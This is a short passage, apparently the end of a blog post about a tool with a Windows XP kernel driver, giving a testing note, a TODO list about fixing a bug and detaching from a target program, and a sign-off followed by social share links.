2. Only tested on Windows XP SP2. The kernel driver was built
   on WinDDK with Windows XP Build Environment.

[ TODO ]
- Fix bug (1).
- Implement de-attach function without closing target program.

mikado.
Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous PageNext Page »